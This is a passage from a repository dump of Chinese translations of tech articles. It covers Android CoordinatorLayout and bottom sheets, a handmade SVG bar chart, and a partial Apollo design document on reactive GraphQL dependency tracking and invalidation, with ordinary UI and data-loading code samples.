ArrayList<>();\nitems.add(new Item(R.drawable.cheese_1, \"Cheese 1\"));\nitems.add(new Item(R.drawable.cheese_2, \"Cheese 2\"));\n\n// Instantiate adapter\nItemAdapter itemAdapter = new ItemAdapter(items, null);\nrecyclerView.setAdapter(itemAdapter);\n\n// Set the layout manager\nrecyclerView.setLayoutManager(new LinearLayoutManager(this));\n\nCoordinatorLayout coordinatorLayout = (CoordinatorLayout) findViewById(R.id.main_content);\nfinal BottomSheetBehavior behavior = BottomSheetBehavior.from(recyclerView);\n\nfab.setOnClickListener(new View.OnClickListener() {\n    @Override\n    public void onClick(View view) {\n       if(behavior.getState() == BottomSheetBehavior.STATE_COLLAPSED) {\n         behavior.setState(BottomSheetBehavior.STATE_EXPANDED);\n       } else {\n         behavior.setState(BottomSheetBehavior.STATE_COLLAPSED);\n       }\n    }\n});\n```\n\n你可以设置布局属性 `app:behavior_hideable=true` 来允许用户也可以通过滑动而隐藏底部表。还有一些其他的属性，包括：`STATE_DRAGGING`，`STATE_SETTLING`，和 `STATE_HIDDEN`。更多内容，请看 [底部表的另一篇教程](http://code.tutsplus.com/articles/how-to-use-bottom-sheets-with-the-design-support-library--cms-26031)。\n\n### Modal 形式的底部表\n\nModal 形式的底部表基本上是从底部滑入的 Dialog Fragments。关于如何创建这种类型的 fragment 可以查看[本文](/android/Using-DialogFragment)。你应该继承 `BottomSheetDialogFragment` 而不是 `DialogFragment`。\n\n### 高级的底部表示例\n\n有很多复杂的使用了 floating action button 的底部表的例子，button 随着用户滑动或展开或收缩或改变表状态。最著名的例子就是使用了多阶表的 Google Maps：\n\n![](https://i.imgur.com/lLSdNus.gif)\n\n下述教程和代码示例可以帮助你实现这些更加复杂的效果：\n\n* [CustomBottomSheetBehavior Sample](https://github.com/miguelhincapie/CustomBottomSheetBehavior) - 描述了在底部表滑动时三种状态来回切换。参考[相关 stackoverflow 博文](http://stackoverflow.com/a/37443680)。\n\n* [Grafixartist Bottom Sheet Tutorial](http://blog.grafixartist.com/bottom-sheet-android-design-support-library/) - 关于在底部表滑动时如何定位 floating action button 以及对其使用动画的教程。\n* 你可以阅读[本文](http://stackoverflow.com/questions/34160423/how-to-mimic-google-maps-bottom-sheet-3-phases-behavior)来进一步讨论如何模拟 Google Map 滑动期间状态改变的效果。\n\n为了得到预期的效果可能需要相当多的实验。对于某些特定的用例，你可能会发现下面列出的第三方库是一种更简单的选择。\n\n### 可选的第三方底部表\n\n除了 design support library 中提供的官方底部表，有几个可选的非常流行的第三方库，他们在某些特定用法下更容易配置和使用：\n\n![](https://i.imgur.com/xRv4IQH.gif)\n\n以下是最常见的选择和相关的例子：\n\n* [AndroidSlidingUpPanel](https://github.com/umano/AndroidSlidingUpPanel) - 一个广泛流行的实现了底部表的方法，这应当被视为官方的另一种方案。\n* [Flipboard/bottomsheet](https://github.com/Flipboard/bottomsheet) - 另一个在官方方案发布前非常流行的可选方案。\n* [ThreePhasesBottomSheet](https://github.com/AndroidDeveloperLB/ThreePhasesBottomSheet) - 利用第三方库来创建一个多阶底部表的示例代码。\n* [Foursquare BottomSheet Tutorial](http://android.amberfog.com/?p=915) - 概述如何用第三方底部表来实现在老版本的 Foursquare 中使用的效果。\n\n在官方的 persistent modal 表和这些第三方的替代方案之间，你应该可以通过足够的实验来实现任何想要的效果。\n\n## CoordinatorLayout 故障解决\n\n`CoordinatorLayout` 非常强大但容易出错。如果你在使用 behavior 时遇到了问题，请查看下面的建议：\n\n* 关于如何高效使用 CoordinatorLayout 的例子请仔细参考 [cheesesquare 源码](https://github.com/chrisbanes/cheesesquare)。这个仓库是一个被 Google 持续更新的示例仓库，反映了 behavior 的最佳实践。尤其是  [layout for a tabbed ViewPager list](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/layout/include_list_viewpager.xml) 和 [this for a layout for a detail view](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/layout/activity_detail.xml) 这两个。可以仔细比较一下你的代码与 cheesesquare 的源码。\n* 确保在 **`CoordinatorLayout` 的直接子 view** 上使用了 `app:layout_behavior=\"@string/appbar_scrolling_view_behavior\"` 属性。例如，在一个下拉刷新的例子中，这个属性应该放在包含了 `RecyclerView` 的 `SwipeRefreshLayout` 中而不是第二层以下的后代中。\n* 在一个使用了内部有 items 列表的 `ViewPager` 的 fragment 和一个父 activity 之间使用协调时，你想像[这里描述](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/layout/include_list_viewpager.xml#L49)的那样在 `ViewPager` 上添加 `app:layout_behavior` 属性，认为这样就可以将 pager 中的滚动事件向上传递然后就可以被 `CoordinatorLayout` 管理。但是，记住，你**不应该**将 `app:layout_behavior` 属性放到 fragment 或者它内部列表上的任何一个位置。\n* 谨记 `ScrollView` 不能与 `CoordinatorLayout` 一起使用。你将需要像[这个示例](https://github.com/chrisbanes/cheesesquare/blob/master/app/src/main/res/layout/activity_detail.xml#L61)中展示的那样用 `NestedScrollView` 来代替。将你的内容包含在 `NestedScrollView` 中，然后在其上添加 `app:layout_behavior` 就会使你的滚动行为预期工作。\n* 确保你的 activity 或者 fragment 的根布局是 `CoordinatorLayout`。滚动事件不会响应其他任何布局。\n\n使用 CoordinatorLayout 时出错的方式有很多种，当你发现出错时可以在这里添加提示。\n\n## 自定义 Behavior\n\n[CoordinatorLayout with Floating Action Buttons](/android/Floating-Action-Buttons#using-coordinatorlayout) 这篇文章中讨论了一个自定义 behavior 例子。\n\nCoordinatorLayout 的工作方式是通过搜索所有在 XML 中静态地使用 `app:layout_behavior` 标签或者以编程的方式在 View 类中使用 `@DefaultBehavior` 注解装饰而定义 [CoordinatorLayout Behavior](http://developer.android.com/reference/android/support/design/widget/CoordinatorLayout.Behavior.html) 的子 View。当滚动事件发生时，CoorinatorLayout 尝试去触发那些被声明为依赖项的子 View。\n\n为了定义你自己的 CoordinatorLayout Behavior，你应该实现 layoutDependsOn() 和 onDependentViewChanged() 这两个方法。例如 AppBarLayout.Behavior 就定义了这两个关键方法。此 behavior 用来在滚动事件发生时触发 AppBarLayout 上的改变。\n\n```\n\npublic boolean layoutDependsOn(CoordinatorLayout parent, View child, View dependency) {\n          return dependency instanceof AppBarLayout;\n      }\n\n public boolean onDependentViewChanged(CoordinatorLayout parent, View child, View dependency) {\n          // check the behavior triggered\n          android.support.design.widget.CoordinatorLayout.Behavior behavior = ((android.support.design.widget.CoordinatorLayout.LayoutParams)dependency.getLayoutParams()).getBehavior();\n          if(behavior instanceof AppBarLayout.Behavior) {\n          // do stuff here\n          }\n }       \n```\n\n理解如何实现这些自定义的 behavior 最好方法是研究 [AppBarLayout.Behavior](https://github.com/android/platform_frameworks_support/blob/master/design/src/android/support/design/widget/AppBarLayout.java#L738) 和 [FloatingActionButtion.Behavior](https://android.googlesource.com/platform/frameworks/support/+/master/design/src/android/support/design/widget/FloatingActionButton.java#L554) 这两个示例。\n\n## 第三方滚动和视差效果库\n\n除了使用上述的 `CoordinatorLayout`，还可以查看[这些流行的第三方库](/android/Must-Have-Libraries#scrolling-and-parallax)来实现 `ScrollView`， `ListView`， `ViewPager` 和 `RecyclerView` 间的滚动和视差效果。\n\n## 将 Google Map 嵌入 AppBarLayout\n\n由于这个已被确认的 [issue](https://code.google.com/p/android/issues/detail?id=188487)，目前在 `AppBarLayout` 中还不支持使用 Google Map。在 v23.1.0 版本的 support design library 的更新中提供了一个 `setOnDragListener()` 方法，如果在此布局中需要拖拽效果的话，这个方法将非常有用。然而，它似乎不影响滚动，如这篇[博文](http://android-developers.blogspot.com/2015/10/android-support-library-231.html?linkId=17977963)所述。\n\n## 参考\n\n* [http://android-developers.blogspot.com/2015/05/android-design-support-library.html](http://android-developers.blogspot.com/2015/05/android-design-support-library.html)\n* [http://android-developers.blogspot.com/2016/02/android-support-library-232.html](http://android-developers.blogspot.com/2016/02/android-support-library-232.html)\n* [http://code.tutsplus.com/articles/how-to-use-bottom-sheets-with-the-design-support-library--cms-26031](http://code.tutsplus.com/articles/how-to-use-bottom-sheets-with-the-design-support-library--cms-26031)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/handmade-svg-bar-chart-featuring-svg-positioning-gotchas.md",
    "content": "> * 原文地址：[A Handmade SVG Bar Chart (featuring some SVG positioning gotchas)](https://css-tricks.com/handmade-svg-bar-chart-featuring-svg-positioning-gotchas/)\n* 原文作者：[Robin Rendle](https://css-tricks.com/forums/users/robinrendle/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cyseria](https://github.com/cyseria)\n* 校对者：[phxnirvana](https://github.com/phxnirvana),[wild-flame](https://github.com/wild-flame)\n\n# 我在手撕 SVG 条形图时踩过的定位坑\n\n让我们来看看这周早些时候我在做一个（看似）简单的条形图的时候学到的用在 SVG 里定位元素的方法吧。\n\nSVG 里并没有多少定位元素的方法。SVG 是一个声明式图形格式，但做一个图表它（实际上）是用绘图命令来进行定位的。所以它有很多潜在的陷阱和令人沮丧的地方，我们来慢慢分析。\n\n我们要构建一个像下面这样的条形图表：\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2016/10/Screenshot-2016-10-20-21.57.49.png)\n\n我可以选择用制图软件导出这张图片，再用 `<img>` 标签引入（甚至可以直接存储为 `.svg` 文件），但是这样做又有什么意义呢？比起直接用 Sketch 或 Illustrator 文件，我觉得手工制作这张图我能学到到更多的（SVG）语法。\n\n开工，先创建一个 `svg` 标签来容纳子元素。\n\n```\n<svg width='100%' height='65px'>\n\n</svg>\n```\n\n然后开始做两个长方形。第一个在后面作为背景，第二个在前面代表图表的具体数据：\n\n```\n<svg width='100%' height='65px'>\n  <g class='bars'>\n    <rect fill='#3d5599' width='100%' height='25'></rect>;\n    <rect fill='#cb4d3e' width='45%' height='25'></rect>\n  </g>\n</svg>\n```\n\n（当没有给 `<rect>` 元素提供 `x` 和 `y` 属性的时候，它们默认是0）\n\n在上面的样例中，我给它们添加一点动画，你可以看到第二个长方形被放在第一个长方形的上面（这像在 Sketch 中绘制了两个长方形，一个叠在另一个上方）：\n\n查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 1](http://codepen.io/robinrendle/pen/43430fd382ab20ff426022d5c8ad4a89/)\n\n\n接下来，我们添加一个标记以更容易地读取 0%，25%，50%，75% 和 100％ 这样的数据。所以需要做的是建个新的组，并为每个标记添加一个 rect 标签，看起来是这样的吧？肯定没错，但是下一秒我就遇到了一点小问题。\n\n在 SVG 中，用 `<g>` 标签来绘制图表数据的样式，像下面这样：\n\n```\n<g class='markers'>\n    <rect fill='red' x='50%' y='0' width='2' height='35'></rect>\n</g>\n```\n\n看起来应该像这样：\n\n查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 2](http://codepen.io/robinrendle/pen/e1a7d1e99ada07657cc0a98ff3652fec/)\n\n很好！让我们添加剩下的全部标记，并更改一下它的颜色：\n\n```\n<g class='markers'>\n    <rect fill='#001f3f' x='0%' y='0' width='2' height='35'></rect>\n    <rect fill='#001f3f' x='25%' y='0' width='2' height='35'></rect>\n    <rect fill='#001f3f' x='50%' y='0' width='2' height='35'></rect>\n    <rect fill='#001f3f' x='75%' y='0' width='2' height='35'></rect>\n    <rect fill='#001f3f' x='100%' y='0' width='2' height='35'></rect>\n</g>\n```\n\n为每一个标记点添加一个 `rect` 标签，并添加了 fill 标签来改变它的颜色，再用 `x` 属性来定位。让我们看看他在浏览器渲染成怎样子了：\n\n查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 3](http://codepen.io/robinrendle/pen/fb6b57b1a2572d312112b425bd8762fa/)\n\n最后一个去哪了呢？ 嗯，我们**确实**告诉它应该被定位在 100％ 的地方，所以它实际上位于屏幕右边。 我们需要考虑它的宽度，并将它向左移动两个单位长度。有很多方法可以解决这个问题。\n\n1.我们可以应用一个内联的变换（transform）样式将它扭转回来：\n\n```\n<rect fill='#001f3f' x='100%' y='0' width='2' height='35' transform=\"translate(-2, 0)\"></rect>\n```\n\n2.我们可以用 CSS 来表示同样的变换：\n\n```\n    rect:last-of-type {\n      transform: translateX(-2px); /* Remember this isn't really \"pixels\", it's a length of 2 in the SVG coordinate system */\n    }\n```\n\n3.或者不用百分比，我们可以沿着 X 轴将其标记放在一个精确的地方。由于有 `viewBox` 属性的存在我们就可以知道 SVG 确切的坐标系了。在 [SVG 应用](https://abookapart.com/products/practical-svg)的第六章有提到：\n> `viewBox` 是 `svg` 的一个属性，它决定了坐标系和纵横比。它有四个属性分别为 x，y，宽度和高度。\n\n\n\n这么说来我们加上 `viewBox` 之后应该是这样的：\n\n```\n<svg viewBox='0 0 1000 65'>\n  <!-- the rest of our svg code goes here -->\n</svg>\n```\n\n条形图的宽度为 1000 个单位。我们的标记宽度是 2 单位。为了能在最右边缘放置最后一个标记，所以我们将它放在 998！ （1000 - 2）。 这也是我们的 x 属性：\n\n```\n<svg viewBox='0 0 1000 65'>\n  ...\n  <rect fill='#001f3f' x='998' y='0' width='2' height='35'></rect>\n  ...\n</svg>\n```\n\n这样即使我们改变它的大小，标记也还是会位于 SVG 的最右边了：\n\n查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 4](http://codepen.io/robinrendle/pen/595f1f122c4489567ecc1dd696870ad2/)\n\n好极了！ 我们不必在这里添加 ％ 或像素值了，因为这里使用由 `viewBox` 设置的坐标系。\n\n排序完成后我们接着看下一个问题：在每个标记下面添加 ％ 的文本，以表示 25%，50％ 等。为了做到这一点，我们在 `<svg>` 里面创建一个新的 `<g>` 标签并添加 `<text>` 元素。\n\n```\n<g>\n    <text fill='#0074d9' x='0' y='60'>0%</text>\n    <text fill='#0074d9' x='25%' y='60'>25%</text>\n    <text fill='#0074d9' x='50%' y='60'>50%</text>\n    <text fill='#0074d9' x='75%' y='60'>75%</text>\n    <text fill='#0074d9' x='100%' y='60'>100%</text>\n</g>\n```\n\n我们手工在操作这些并且打算用 % 来表示 x 的数值，但是不幸的是最后看起来是这样：\n\n查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 5](http://codepen.io/robinrendle/pen/f10b2c6e1ddfcf491a84b457da8c7bee/)\n\n于是我们再次遇到了这个问题，最后一个元素并没有在我们预期的位置。中间标签的位置是错误的，在理想的情况下他们会在标志下面居中。在 Chris 告诉我可以用一个我没有听说过的属性 [`text-ancho`](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/text-anchor) 之前，我本想将每个元素都放置在它正确的 x 坐标上。\n\n有了这个属性我们可以像使用 CSS 中的 `text-align` 属性一样操纵文本。这个属性是可继承的，所以我们对 `g` 标签设置一次再指向第一个和最后一个元素就好了。\n\n```\n<g text-anchor='middle'>\n  <text text-anchor='start' fill='#0074d9' x='0' y='60'>0%</text>\n  <text fill='#0074d9' x='25%' y='60'>25%</text>\n  <text fill='#0074d9' x='50%' y='60'>50%</text>\n  <text fill='#0074d9' x='75%' y='60'>75%</text>\n  <text text-anchor='end' fill='#0074d9' x='100%' y='60'>100%</text>\n</g>\n```\n\n就像这样：\n\n查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 6](http://codepen.io/robinrendle/pen/338cf7c726d85c58c16f9b07a0dd4de3/)\n\n就是这样！稍微知道 `viewBox` 是如何工作的，以及 `x`，`y` 坐标和像 `text-anchor` 这样的属性，我们就几乎可以用 SVG 做任何事了。\n\n通过亲手实现这些图表，使得我们能够更好的去控制它们了。不难想象我们如何使用 JavaScript ，就能实现更多的设计，控制更多的数据。\n\n再做一点点额外的工作，我们可以加上动画让这些图表真正的脱颖而出。请尝试将鼠标悬停在此版本的图表上，例如：\n\n查看 [Robin Rendle](http://codepen.io/robinrendle) 在 [CodePen](http://codepen.io) 创建的样例[示例代码 7](http://codepen.io/robinrendle/pen/9197c221b3032a8b78c472f9a9a799b5/)\n\n看起来非常棒，对吧？只使用 SVG 和 CSS 也可以创造出无限可能。如果你想了解更多可以看我前阵子写的[如何使用 SVG 来做图表](https://css-tricks.com/how-to-make-charts-with-svg/)，来对此进行更深入的理解。\n\n现在让我们开始做一些很帅的图表吧~\n"
  },
  {
    "path": "TODO/high-level-reactivity.md",
    "content": "* 原文链接: [Reactive GraphQL Architecture](https://github.com/apollostack/apollo/blob/master/design/high-level-reactivity.md)\n* 原文作者 : [stubailo](https://github.com/apollostack/apollo/commits/master/design/high-level-reactivity.md?author=stubailo)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [shenxn](https://github.com/shenxn)\n* 校对者 : [lekenny](https://github.com/lekenny)，[CoderBOBO](https://github.com/CoderBOBO)\n\n\n# 响应式 GraphQL 结构\n\n这是一个高度概述的响应式 GraphQL 数据加载系统的体系结构。，我们这么做的目的是希望得到那些相关领域工程师的反馈。我们想要分享我们正在做的事以确认人们是否对它感兴趣，同时使得该领域中的人能够接受我们的设计。\n\n*   如果你还不了解我们的设计，请阅读我们的[介绍页面](http://info.meteor.com/blog/reactive-graphql)，这个页面概述了所有我们希望解决的问题。\n*   你也可以阅读 Arunoda 的文章，那篇文章总结了我们的介绍内容：[Meteor's Reactive GraphQL is Just Awesome](https://voice.kadira.io/meteor-s-reactive-graphql-is-just-awesome-b21074231528#.3h3hmtbm2)\n\n这是一张总结了我们设计的图表，之后我们会进行详细的解释：\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zsqg1w7fj21kw0s845z.jpg)\n\n## GraphQL\n\n（如果你已经对 GraphQL 很熟悉了，你可以[跳过这个部分](#reactive-graphql)）\n\nGraphQL 是一个用于查询节点类型图表的树形查询语言。举例来说，如果你有一些用户，一些待办事项列表，和一些任务，你就可以像下面这样查询：\n\n    me {\n      username,\n      lists {\n        id,\n        name,\n        tasks(complete: false) {\n          id,\n          content,\n          completed\n        }\n      }\n    }\n\n查询中的每一个字段都调用了服务器上的一个可以访问任何数据源或API的解析函数。返回值被封装在一个与查询的样子类似的 JSON 响应中，并且你不会得到任何你没有查询的字段。针对上面的查询，你会得到如下数据：\n\n    {\n      me: {\n        username: \"sashko\",\n        lists: [\n          {\n            id: 1,\n            name: \"My first todo list\",\n            tasks: [ ... and so on ],\n          }\n        ]\n      }\n    }\n\n> 你可以跟随一个时长几个小时的交互式课程 [LearnGraphQL](https://learngraphql.com/) 来学习 GraphQL 的基础知识。\n\n注意，数据源是没有限制的，你可以在一个数据库中储存你的待办事项列表，并在另一个数据库中储存你的任务。事实上，GraphQL 的主要好处就是，你可以把数据从数据源中提取出来，这样前端开发者就不用担心数据源的问题了，后端开发者也可以自由地更改数据或者服务。下图展示了这种设计使用结构组件来表示的样子：\n\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zsqywxqlj20xu0t2jve.jpg)\n注意，GraphQL 拥有一个缓存，这个缓存是用来把查询结果分解成节点。一个聪明的缓存可以在数据需求变化或者部分数据需要刷新的时候，在之间缓存对象的基础上只重新获取查询的一部分，甚至是一个字段。在上面的例子中，缓存中的数据可能会被这样存储：\n\n    { type: \"me\", username: \"sashko\", lists: [1] }\n    { type: \"list\", id: 1, name: \"My first todo list\", tasks: [...] }\n\n这个例子非常简明。你可以在 [Huey Petersen 的网站](http://hueypetersen.com/posts/2015/09/30/quick-look-at-the-relay-store/)上了解 Relay 缓存的工作方式。需要注意的是，缓存系统会将查询结果分解成平面结构，并且一个聪明的缓存将能够在必要时生成一个查询来更新 `list` 和它的 `tasks`，或者仅仅更新 `list` 的 `name`。\n\n## 响应式 GraphQL\n\n人们对 GraphQL 感到很激动，并且它解决了许多开发者（包括 Meteor 的顾客和用户）遇到的许多问题。但是当你构建一个应用的时候，你不止是需要一种向服务器发起查询并得到响应的方式。举例来说，你应用的一部分可能会在另一个用户做出一些修改的时候需要响应式更新数据。\n\nGraphQL 系统的客户端和服务器需要合作来实现上述功能，但是我们的一个目标是尽量减少对现行 GraphQL 执行方式的改变，从而使得开发者不管是现在还是将来都可以将 GraphQL 作为生产力的工具。\n\n### 依赖（Dependency）\n\n我们想象中的系统的核心观点就是依赖。一个依赖就是一个 `键（key）` 和 `版本（version）` 的元组，其中 `键` 在全局中代表一个特定的数据单元（比如数据库中的一条记录或是一个查询的结果），而 `版本` 在全局中代表数据被修改的次数。\n\n预想中的结果是，如果你拥有一些数据，并且你有这个数据的依赖，你就可以通过发送键和版本的方式向全局依赖服务器询问数据是否已经被修改了。这样做的主要好处是，应用程序的服务器不需要知道每个客户端当前正在追踪的查询，客户端可以自己保存这些信息。这减少了服务器的负担，并且使得开发者可以更自由地选择抓取新数据的时间。\n\n### 将依赖返回到客户端\n\n之前，我们给了一个简单查询的 GraphQL 响应作为例子。如果你需要创建一个响应式的 GraphQL 查询，客户端需要需要一些额外的元数据来知道结果树中的哪些部分是响应式的，并且哪些键是无效的。客户端查询器会自动把这个元数据的字段添加到你的查询中，所以内部的响应应该会像下面这样：\n\n    {\n      me: {\n        username: \"sashko\",\n        lists: [\n          {\n            id: 1,\n            name: \"My first todo list\",\n            tasks: [ ... and so on ],\n            __deps: {\n              __self: { key: '12341234', version: 3 },\n              tasks: { key: '35232345', version: 4 }\n            }\n          }\n        ],\n        __deps: {\n          __self: { key: '23245455', version: 1 },\n          lists: { key: '89353566', version: 5 }\n        }\n      }\n    }\n\n这会告诉客户端哪些依赖它们应该监视来获知 `list` 对象本身的更改，或是 `tasks` 列表需要被更新。当然，这些额外的元数据会在传递给真实客户之前被过滤掉。\n\n需要注意的是，`__deps` 字段不能被添加到 `tasks` 中，因为 JSON 语法不允许这么做，所以我们不得不把它放在父元素中。同样，`__self` 字段是对象的一个简略表达方式，这样就不需要列出 `list` 对象的所有属性（会包含 `name`，`description` 等，并且重新发送所有的键会浪费带宽）。\n\n\n### 在读入数据时自动记录依赖\n\n为了知道一个 GraphQL 查询在什么时候需要被重新运行，我们需要先知道哪些依赖代表了查询中的不同部分。复杂查询的依赖可以被手动记录，但是一些简单查询的依赖可以被自动识别。举例来说，这是一个可以被用在 GraphQL 解析树上特定部分中的 Javascript SQL 查询：\n\n    todoLists.select('*').where('id', 1);\n\n这会自动记录如下的依赖：\n\n    { key: 'todoLists:1', version: 0 }\n\n这个依赖记录机制需要依赖跟踪服务器确认当前的版本。\n\n### 手动记录依赖\n\n如果不能通过分析请求来确认依赖，自动依赖记录机制就不能工作。在这样的情况下，开发者将需要使用任何他们喜欢的字符串来手动记录一个依赖。\n\n举例来说，假设你有一个用来计算用户通知数量的复杂查询，你也许需要为这个数字设置一个自定义的失效键：\n\n    // 在程序的某个地方，一个用于生成键的函数\n    function notificationDepKeyForUser(userId) {\n      return 'notificationCount:' + userId;\n    }\n\n    // 在 GraphQL 解析器内部\n    numNotifications = getNotificationCountForUser(userId);\n    context.recordDependency(notificationDepKeyForUser(userId));\n\n这会使得你可以手动指定通知数量被刷新的时间。有些高级用户可能会对性能有非常严格的要求，像需要计算全站的访客数量或是维护一个实时的高分表，这时他们也会选择使用手动构建依赖以更好地控制他们的数据流。\n\n## 简单的响应式模型\n\n基于上面的描述，我要介绍一个实现响应式 GraphQL 的无状态策略：\n\n1.  客户端向 GraphQL 服务器发送查询，接收到一个包含一系列依赖的响应。\n2.  客户端周期性查询服务器，获知依赖是否失效，服务器返回包含新版本号的依赖列表。对于一些需要更低延迟的客户端来说，可以通过使用 websocket 来订阅依赖的方式，将上述方法轻松转变成有状态的方式，具体可以查阅[下面一节](#reducing-latency)。\n3.  客户端重新抓取依赖于失效依赖的子查询树。\n\n有许多方法可以在服务器上添加更多状态来优化系统延迟并减少客户端和服务器的通信次数，这些方法可以在之后再添加。\n\n![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zsr810o2j21920vctef.jpg)\n\n### 降低延迟\n\n文档的剩余部分将会讲述从依赖服务器获取更新的话题。上面的方法导致了每次更新数据时服务器和客户端之间都需要两轮通信：一轮获取失效键，一轮获取新数据本身。下面的方法可以使得通信次数下降为1次甚至0次：\n\n1.  失效服务器可以接受 websocket 连接，并且允许客户端订阅它需要的依赖键， 这意味着失效信息是被即时推送到客户端的，并且获取数据本身只需要一轮通信。\n2.  让应用服务器订阅失效信息，并且_在服务器上_发起 GraphQL 请求，然后将请求结果与当前客户端状态进行比较并且发送一个补丁。这种方法几乎与 Meteor 现在采取的方法一致，这对于那些拥有少量用户并且要求低延迟的应用来说，是一个非常好的选择。\n\n因为这些方法并没有修改系统的内部设计，而且非常易于执行，我们会把它们当做优化并且留到将来再处理。\n\n## 使依赖失效\n\n我们还没有讨论过失效服务器如何知道一个依赖的版本号已经增加了（这就意味着客户端上的数据需要重新加载）。最低级的方法是，你的代码在写入数据的时候，将失效的依赖列表发送给失效服务器。这部分同样也会讨论上述方法的一个高级封装。\n\n### Mutations\n\n到目前为止，我们只讨论了如何加载数据，如果你的应用程序只是用来查看一些你不能控制的数据，这就足够了。然而，大多数应用依然需要允许他们的用户操作数据。\n\n在 GraphQL 中，发送给服务器的数据修改请求被称为 mutation，所以我们在这篇文档中也会这样称呼它们。\n\n### mutation 是什么？\n\n你可以把一个 mutation 想象成一个远程程序的调用点。归根结底，这就是服务器上一个函数的名称，客户端可以通过这个名称和一些相应的参数来调用函数。\n\n在这个基于依赖的系统上，mutation 需要做这些事：\n\n1.  将数据写入后端数据库或者调用相关 API。\n2.  给失效服务器发送适当的失效信息。\n3.  可选优化更新客户端，使客户端更好地与服务器进行数据交换。\n\n我们希望这个系统能使开发者在调用一个 mutation 的时候，可以尽可能少地操心哪些数据可能发生了变化，同时，我们也允许开发者自己处理数据的变化以便于优化。\n\n让 mutation 发送失效信息也是做乐观 UI 的一个好方法。你可以简单地从 mutation 返回已经失效的依赖键，然后客户端就可以在需要重新获取那些依赖的时候，直接从服务器取得真实数据。\n\n这里最大的困难是(2)：mutation 如何通知失效服务器，以及通知那些数据被修改的客户端？\n\n### 自动依赖失效\n\n就像读取数据一样，在简单的情况下我们可以从 mutation 自动发送失效信息。举例来说，如果你在 mutation 解析器中执行如下 SQL 更新查询：\n\n    todoLists.update('name', 'The new name for my todo list').where('id', 1);\n\n我们需要使得下面的依赖键失效：\n\n    'todoLists:1'\n\n你可以看到，这对应了我们在读取这个记录时，自动记录的依赖，所以合适的请求将会重新运行。\n\n### 手动依赖失效\n\n\n有时你希望手动发送失效信息。举例来说，在上面通知的例子中，我们希望在添加通知时手动失效通知总数：\n\n    notifications.insert(...);\n    context.invalidateDependency(notificationDepKeyForUser(userId));\n\n我们希望将来可以让程序自动处理越来越多的失效信息，但是为更复杂的情况预留一条后路让程序员进行完全的控制总是好的。\n\n![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zsrhktvvj21kw0s845z.jpg)\n\n你可以通过这个图表来了解失效信息如何从 mutation 传递到相关的客户端中，客户端之后会在需要的时候重新抓取相关数据。\n\n### 向外部服务写入数据\n\n如果你的后端代码需要向外部源写入数据，你将无法使用自动失效。这意味着如果你想要你 UI 中的数据被更新，你需要做一些额外的事情来提供响应性。最简单的方式就是让进行外部数据写入的服务将失效信息直接发送给失效服务器。\n\n另一种能使外部更新具有响应性的方法就是设置一个实时的查询执行系统，并通过监视数据库的方法来使依赖失效。举个例子，Meteor 的 Livequery 可以设置成监视 MongoDB，并且在 `tofoLists.find({ id: 1})` 的结果发生变化时，使 `todoLists:1` 失效。\n\n系统的初始版本并不会拥有一个內建的实时查询支持，但是我们希望系统各部分中那些设计巧妙的 API 可以使这些组件很容易被集成进去。\n\n最后，如果你觉得适用于你的应用的话，你甚至可以在不使用任何依赖的情况下，直接通过客户端轮询正确的数据。对于一些应用程序来说，加载数据本身并没有很大的开销。举个例子，如果你有一个5人使用的内部控制面板，在这种情况下实现的简单性要远比性能重要。\n\n## 数据驱动\n\n为了让这个系统更便于使用，我们需要为流行的数据源提供一些设计良好的驱动。如果你不需要响应性的话，连接到一个随意的数据源是非常简单的，你可以直接使用 NPM 中的任何数据载入包或者是写一些简单的函数来获取数据。如果要添加响应性的话，你可以使用手动的依赖记录和依赖过期。\n\n然而，我们希望除了 Meteor 官方维护的 SQL，MongoDB 和 REST APIs 驱动之外，社区可以编写出更友好的数据驱动。\n\n一个顶尖的开发者友好的后端数据驱动需要：\n\n1.  从数据源读取对象并且为简单查询自动记录依赖。\n2.  将对象写入数据源，并且在大多数情况下自动发送失效信息。\n3.  拥有基础的缓存以优化性能。\n\n虽然说一个理想的驱动将能够自动为所有查询发送准确的依赖和失效信息，但是这对于一个任意的数据储存来说是不现实的。在实际情况下，驱动将会回落到一个更大范围的依赖和失效信息，并且一些工具可以帮助开发者寻找这些过期信息可以被优化的地方。然后开发者就可以根据需要重新构造他们的查询或是手动发送过期信息。\n\n## 应用性能监控和优化\n\n我们在 Meteor 